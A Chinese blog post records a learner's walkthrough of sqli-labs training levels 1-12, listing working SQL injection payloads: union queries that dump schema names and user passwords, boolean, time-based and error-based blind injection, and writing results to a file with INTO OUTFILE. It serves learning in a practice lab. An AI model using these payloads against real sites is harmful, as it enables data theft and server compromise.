sqli-labs靶场1-12关通关记录

       最近刚学习了SQL注入的基本操作,这里浅浅记录一下有关SQLi-labs通关的相关内容。

概述

SQL注入        

        攻击者通过注入SQL语句片段导致后端执行预期外的SQL查询。

漏洞危害

  1. 数据被窃取
  2. 服务器被攻击者控制
  3. 网站页面被篡改

sqli靶场关卡记录

第一关

1.根据报错提示,确定闭合符为单引号

2.使用 order by 确定列数,即 ?id=1' order by 3%23

3.获取数据库名

?id=111111' union select 1,2,database()%23

4.获取表名  

?id=111111' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'%23

4.查询所需表的列名

?id=111111' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'%23

5.拼接查询用户所有信息

?id=111111' union select 1,2,group_concat(concat_ws('|',username,password) ) from users%23

 第二关

  1. 通过2-1 算式判断出注入类型为数字型注入
  2. 之后操作同上一关,先判断列数,然后获取数据库名,查询表名、列名,查询用户信息

第三关

  1. 根据错误判断可知 归并符号为 ‘)
  2. 之后操作和前面类似,先判断列数,然后获取数据库名,查询表名、列名,查询用户信息。

第四关

  1. 根据错误判断可知 归并符号为 “)
  2. 之后操作同前,先判断列数,然后获取数据库名,查询表名、列名,查询用户信息。

第五关

  1. 方法一:通过页面结果发现,输出相同,所以考虑布尔盲注。使用ascii(mid(database(),1,1))>114 判断注入结果是否正确,这里可知数据库名第一个字符为 s ,因此可用类似的方法得到所有结果。
  2. 方法二:使用报错注入。通过extractvalue()函数可以爆出数据库名,因此也可用类似的方法爆出所需信息。

?id =1' union select 1,(extractvalue(1,concat(0x7e,(database()),0x7e))),3%23

第六关

同第五关

第七关

  1. 根据提示可知需要使用写入文件的SQL语句
  2. Union select 1,2,database() into outfile “c:/res.txt” 可将数据库名写入res.txt文件中。其他信息写入可采用类似方法。

第八关

同理

第九关

  1. 发现所有输入都会返回相同页面,因此可用考虑用时间盲注,根据查询结果的正误所导致的时间延迟来判断正确性。根据1’ and sleep(3)%23可知归并符号为 单引号
  2. 之后操作同布尔盲注,后面还需加入含有时间延迟的判断条件,具体见下图。因此可根据页面返回时间判断结果是否正确。

第十关

  1. 发现其情况也符合时间盲注,且判断得出闭合符为 ”,其余同第九关。

第十一关

  1. 这里的注入点为提交表单,因此将注入语句写在username一栏中。方法同前的字符型注入,闭合符为 ’

a' order by 2#

    2. 最后在username注入,得到数据库名和所需用户信息

第十二关

  1. 方法同第十一关,根据判断可知闭合符为 “)
  2. 使用类似的注入语句得到数据库名,因此也可得到用户信息。

总结

这里总结一下SQL注入的大致思路:       

  1. SQL注入首先需要找到注入点,是URL还是表单亦或是其他。
  2. 根据页面返回的提示(返回都一样也是提示,比如时间盲注),初步判断属于哪种SQL注入类型。
  3. 判断闭合符号
  4. order by 判断列数(采用二分法加快速度)
  5. union 查询库名、表名、列名等所需信息。

你可能感兴趣的:(web安全,sql,web安全)